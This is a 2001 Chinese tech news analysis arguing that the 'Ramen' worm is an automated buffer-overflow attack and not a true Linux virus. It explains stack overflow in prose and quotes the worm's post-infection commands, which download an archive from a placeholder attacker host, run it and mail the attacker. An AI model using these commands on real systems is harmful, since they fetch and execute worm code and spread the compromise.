中华网通行证
用户名 密码
  科技动态 硬件广场 下载基地 网络教室 网络冲浪 科学博览 移动时代 手机上网 桌面壁纸 科技商情  

质疑世界上首个Linux病毒“reman”?
中科红旗软件技术有限公司 俞戍远 2001-02-12 17:26:00

  前段时间一些媒体报告“世界上第一个linux病毒reman已经出现”,这引起了我们极大的兴趣。但当我们得到该病毒的有关资料和样本之后发现,严格的说,reman并不能称为病毒。实际上这是一个古老的,在Unix/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有Unix/Linux版本中都或多或少的存在这样的问题。第一次此种类型的攻击(morris worm)早在十多年前就有了,并不是等到现在才“出现”。事实上,针对windows98/NT的缓冲区溢出攻击也是很常见的。

  缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数返回地址也会被覆盖,从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告“core dump”或“segment fault”。严重的是如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是“/bin/sh”,所以这段代码被称为”shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。

  下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2 来讲,如果攻击成功,它会做以下工作:

  mkdir /usr/src/.poop;cd /usr/src/.poop

  export TERM=vt100

  lynx -source http://FROMADDR:27374   > /usr/src/.poop/ramen.tgz

  cp ramen.tgz /tmp

  gzip -d ramen.tgz;tar -xvf ramen.tar;/start.sh

  echo Eat Your Ramen! | mail -s TOADDR -c   gb31337@hotmail.com gb31337@yahoo.com

  很明显,reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统的漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免的,目前已有很多对付该类攻击的方案。需要指出的是,reman这样的攻击程序对红旗linux的攻击是不可能成功的,因为红旗linux全线产品都考虑了 “缓冲区溢出”这样的安全问题。

eNet


相关报道
台湾发现全球首个Linux病毒 (2001-02-05 10:48:30)
 
更多本栏目内容
11名华人科学家致信政府 质疑“大科学”项目 (2004-08-10 10:05:47)
上市前怕遭专利官司 Google忍痛割股给Yahoo (2004-08-10 09:41:48)
面对微软SP2补丁包 IBM警告用户不要安装 (2004-08-10 09:48:25)
英语是印度在IT外包市场战胜中国的法宝 (2004-08-10 09:59:52)
Google曝IPO幕后细节 额外有2.6亿股待出售 (2004-08-08 11:48:07)
电脑不要保持待机状态 每小时消耗电量惊人 (2004-08-10 14:01:38)
软件商加强反盗版意识 反盗市场前景广阔 (2004-08-09 17:44:35)
双模小灵通北京偷卖? 信产部声言决不放行 (2004-08-10 09:31:45)
观察:Wintel衰亡史 微软和英特尔陷入泥潭 (2004-08-10 10:37:12)




本站检索


中华网推荐

·国家级治脑病新药思维源
·中藏药治疗脑病新突破
·治类风湿,强直性脊柱炎
·养肾·痛风·长寿
·肝病泌尿脑萎缩新药介绍
·强直性脊柱炎康复乐园
·让中医辩证不孕不育
·国医治股骨头坏死一绝
·乙肝为何久治不愈?
·二千元垄断批发做老板
·中医中药专治前列腺
·治牛皮癣白癜风已成现实
·专治痛风病的白衣天使
·不孕不育的杏林奇葩
·专卖店零售管理系统




   

科技频道主编信箱